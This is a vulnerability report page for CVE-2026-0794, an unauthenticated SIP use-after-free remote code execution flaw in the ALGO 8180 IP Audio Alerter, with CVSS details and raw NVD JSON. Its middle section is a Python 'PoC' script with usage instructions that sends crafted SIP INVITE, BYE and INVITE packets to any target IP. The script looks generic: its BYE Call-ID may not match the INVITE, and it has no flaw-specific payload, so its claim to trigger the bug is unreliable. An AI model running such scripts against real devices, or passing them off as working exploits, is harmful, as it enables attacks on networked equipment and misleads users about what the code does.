Security Vulnerability Report
中文
CVE-2026-0794 CVSS 9.8 CRITICAL

CVE-2026-0794

Published: 2026-01-23 04:16:07
Last Modified: 2026-02-18 18:51:31

Description

ALGO 8180 IP Audio Alerter SIP Use-After-Free Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of ALGO 8180 IP Audio Alerter devices. Authentication is not required to exploit this vulnerability. The specific flaw exists within the handling of SIP calls. The issue results from the lack of validating the existence of an object prior to performing operations on the object. An attacker can leverage this vulnerability to execute code in the context of the device. Was ZDI-CAN-28303.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:algosolutions:8180_ip_audio_alerter_firmware:5.5:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:algosolutions:8180_ip_audio_alerter:-:*:*:*:*:*:*:* - NOT VULNERABLE
ALGO 8180 IP Audio Alerter 固件版本 < 最新修复版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-0794 PoC - ALGO 8180 SIP Use-After-Free RCE # This PoC demonstrates the SIP packet crafting for triggering the UAF condition # Target: ALGO 8180 IP Audio Alerter import socket import struct import time def create_sip_invite(target_ip, target_port=5060): """Craft a malicious SIP INVITE packet to trigger UAF condition""" call_id = "cve20260794-" + str(int(time.time())) via_branch = "z9hG4bK" + "deadbeef" sip_packet = ( f"INVITE sip:target@{target_ip}:{target_port} SIP/2.0\r\n" f"Via: SIP/2.0/UDP {target_ip}:{target_port};branch={via_branch}\r\n" f"Max-Forwards: 70\r\n" f"From: <sip:attacker@{target_ip}>;tag=vulnerable\r\n" f"To: <sip:target@{target_ip}>\r\n" f"Call-ID: {call_id}\r\n" f"CSeq: 1 INVITE\r\n" f"Contact: <sip:attacker@{target_ip}>\r\n" f"Content-Type: application/sdp\r\n" f"Content-Length: 0\r\n" f"\r\n" ) return sip_packet.encode() def send_malicious_sip_sequence(target_ip, target_port=5060): """Send a sequence of SIP packets to trigger UAF""" sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) print(f"[*] Sending malicious SIP INVITE to {target_ip}:{target_port}") packet1 = create_sip_invite(target_ip, target_port) sock.sendto(packet1, (target_ip, target_port)) # Wait for initial processing time.sleep(0.5) # Send BYE to trigger object release (without proper cleanup) print(f"[*] Sending SIP BYE to trigger object release") bye_packet = ( f"BYE sip:target@{target_ip}:{target_port} SIP/2.0\r\n" f"Via: SIP/2.0/UDP {target_ip}:{target_port};branch=z9hG4bKfollowup\r\n" f"Call-ID: cve20260794-{int(time.time())}\r\n" f"CSeq: 2 BYE\r\n" f"\r\n" ).encode() sock.sendto(bye_packet, (target_ip, target_port)) # Send another INVITE to trigger UAF (accessing freed memory) time.sleep(0.2) print(f"[*] Sending follow-up packet to trigger UAF condition") packet2 = create_sip_invite(target_ip, target_port) sock.sendto(packet2, (target_ip, target_port)) try: response = sock.recv(4096) print(f"[+] Received response: {response[:100]}") except socket.timeout: print("[-] No response received") finally: sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 5060 send_malicious_sip_sequence(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0794", "sourceIdentifier": "[email protected]", "published": "2026-01-23T04:16:07.250", "lastModified": "2026-02-18T18:51:30.800", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ALGO 8180 IP Audio Alerter SIP Use-After-Free Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of ALGO 8180 IP Audio Alerter devices. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the handling of SIP calls. The issue results from the lack of validating the existence of an object prior to performing operations on the object. An attacker can leverage this vulnerability to execute code in the context of the device. Was ZDI-CAN-28303."}, {"lang": "es", "value": "ALGO 8180 IP Audio Alerter SIP Vulnerabilidad de ejecución remota de código por uso después de liberación. Esta vulnerabilidad permite a atacantes remotos ejecutar código arbitrario en instalaciones afectadas de dispositivos ALGO 8180 IP Audio Alerter. La autenticación no es requerida para explotar esta vulnerabilidad.\n\nLa falla específica existe en el manejo de llamadas SIP. El problema resulta de la falta de validación de la existencia de un objeto antes de realizar operaciones sobre el objeto. Un atacante puede aprovechar esta vulnerabilidad para ejecutar código en el contexto del dispositivo. Fue ZDI-CAN-28303."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:algosolutions:8180_ip_audio_alerter_firmware:5.5:*:*:*:*:*:*:*", "matchCriteriaId": "853BF5C9-122B-4F47-9CE7-DA3E307130ED"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:algosolutions:8180_ip_audio_alerter:-:*:*:*:*:*:*:*", "matchCriteriaId": "3A20E73F-D499-4973-ADDE-8B702E6F5254"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-016/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}